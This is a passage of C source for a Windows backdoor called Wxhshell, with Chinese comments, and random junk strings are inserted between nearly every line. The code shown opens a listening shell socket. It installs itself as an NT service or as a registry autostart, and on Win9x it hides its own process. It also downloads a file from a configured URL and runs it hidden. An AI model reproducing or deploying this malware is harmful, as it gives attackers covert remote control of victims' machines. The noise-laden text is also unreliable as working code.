CloseHandle(hProcess); {h`uV/5@` 2*#|Nj=^ if(strstr(procName,"services")) return 1; // 以服务启动 HT1!5 Qv/=&_6 return 0; // 注册表启动 ]~hk6kS8Q } XACm[NY_ 'F#KM1s // 主模块 TT3|/zwn int StartWxhshell(LPSTR lpCmdLine) p0<\G { /J6rv(( SOCKET wsl; K:30_l< BOOL val=TRUE; Q^txVUL int port=0; G{%L B}2 struct sockaddr_in door; h2;F (0y~%J if(wscfg.ws_autoins) Install(); ]+:^W^bs: hSyql port=atoi(lpCmdLine); Aj+F
|l o`N9!M if(port<=0) port=wscfg.ws_port; gQ1;],_ x39<6_?G WSADATA data; .];=Pu^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s(q_
o M{hg0/}sUW if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /{--+
C setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +pn
N!:q door.sin_family = AF_INET; .gOL1`b* door.sin_addr.s_addr = inet_addr("127.0.0.1"); L AAHEv door.sin_port = htons(port); +@iA;2& %UCr;H/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )+t0:GwP`: closesocket(wsl); bYQRBi return 1; ^\&e:Nkh } ^V Zk+'4 |3yL&" if(listen(wsl,2) == INVALID_SOCKET) { mZ"4&U closesocket(wsl); {
W{]L: return 1; h6`6tk } k4y'b Wxhshell(wsl); =CVB BuVy WSACleanup(); ]R9HyCl&a6 x-.?HS[ return 0; 'AEE[
6wECo } o:P}Wg/NK 8::$AQL3 // 以NT服务方式启动 M>ruKHipFE VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Opc
ZU{4b { Y+u_IJ DWORD status = 0; mahJSz(3 DWORD specificError = 0xfffffff; 9=h'9Wo KRMQtgahc serviceStatus.dwServiceType = SERVICE_WIN32; =\wxsL serviceStatus.dwCurrentState = SERVICE_START_PENDING; fbKkq.w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S<@7_I serviceStatus.dwWin32ExitCode = 0; J!pygn O serviceStatus.dwServiceSpecificExitCode = 0; nWYN Np?h serviceStatus.dwCheckPoint = 0; Vi]W |bP serviceStatus.dwWaitHint = 0; ww $ w\i\Wp,FP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qjdMqoOCjl if (hServiceStatusHandle==0) return; #S*/bao# 8sM|%<$=j status = GetLastError(); v)t:|Q{I if (status!=NO_ERROR) 27O|).yKX { cir$voL serviceStatus.dwCurrentState = SERVICE_STOPPED; 0C
irfcs}Z serviceStatus.dwCheckPoint = 0; DiwxXqY
serviceStatus.dwWaitHint = 0; @l jA serviceStatus.dwWin32ExitCode = status; ?6un4EVL{ serviceStatus.dwServiceSpecificExitCode = specificError; 4;]hK!AXS SetServiceStatus(hServiceStatusHandle, &serviceStatus); LzXmb 7A return; @As[k2 } ^2on.N q> EGzzHIZ`! serviceStatus.dwCurrentState = SERVICE_RUNNING; Y^7$t^& serviceStatus.dwCheckPoint = 0; Vjp1RWb serviceStatus.dwWaitHint = 0; X#TQ_T" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e .2ib?8 } (#Gw1 >
BY&,4r // 处理NT服务事件,比如:启动、停止 ()Y4v VOID WINAPI NTServiceHandler(DWORD fdwControl) ,p2s:&" { `c5"d switch(fdwControl) f~y%%+{p
{ X>(TrdK_9" case SERVICE_CONTROL_STOP: F6OpN"UM' serviceStatus.dwWin32ExitCode = 0; hjB@o#S serviceStatus.dwCurrentState = SERVICE_STOPPED; 3U.88{y serviceStatus.dwCheckPoint = 0; 'y2nN=CN serviceStatus.dwWaitHint = 0; YY)s p% { m~P CB_ifW SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;":zkb{ } Xti[[s J return; -pa )K"z case SERVICE_CONTROL_PAUSE: /!Wu D\B serviceStatus.dwCurrentState = SERVICE_PAUSED; q<[_T break; ;WM"cJo9 case SERVICE_CONTROL_CONTINUE: EB=-H# serviceStatus.dwCurrentState = SERVICE_RUNNING; ZP*q4: break; {7;8#.S72 case SERVICE_CONTROL_INTERROGATE: RIXMJ7e7 break; dC$Em@Nb }; v!P b`LCqK SetServiceStatus(hServiceStatusHandle, &serviceStatus); M?:c)&$]D } Nz+949X
lBhLf@ // 标准应用程序主函数 g[Ib,la_a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pUq1|)g { #H{<gjs] X M#T'S9y8 // 获取操作系统版本 j =WST OsIsNt=GetOsVer(); }YMy6eW4 GetModuleFileName(NULL,ExeFile,MAX_PATH); e~@[18 m&\h4$[kql // 从命令行安装 S<u-n8bv if(strpbrk(lpCmdLine,"iI")) Install(); ?~;:jz|9<' =%gRW5R% // 下载执行文件 7L@K _ZJ if(wscfg.ws_downexe) { #hf
ak if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .J.-Mm`. WinExec(wscfg.ws_filenam,SW_HIDE); H nUYqhZS } %8Dzo k.^coI5 if(!OsIsNt) { dBe`p5Z // 如果时win9x,隐藏进程并且设置为注册表启动 r'uGWW"w HideProc(); x.zbD8l/9 StartWxhshell(lpCmdLine); 1~ t{aLPz } 2KN6} else
8<7GdCME if(StartFromService()) z$GoaS( // 以服务方式启动 :l&V]}:7* StartServiceCtrlDispatcher(DispatchTable); .YnFH$;$ else tBT<EV{ G // 普通方式启动 f=!VsR2o StartWxhshell(lpCmdLine); ,FMx5$ Sh,&{z! return 0; -gas?^` }
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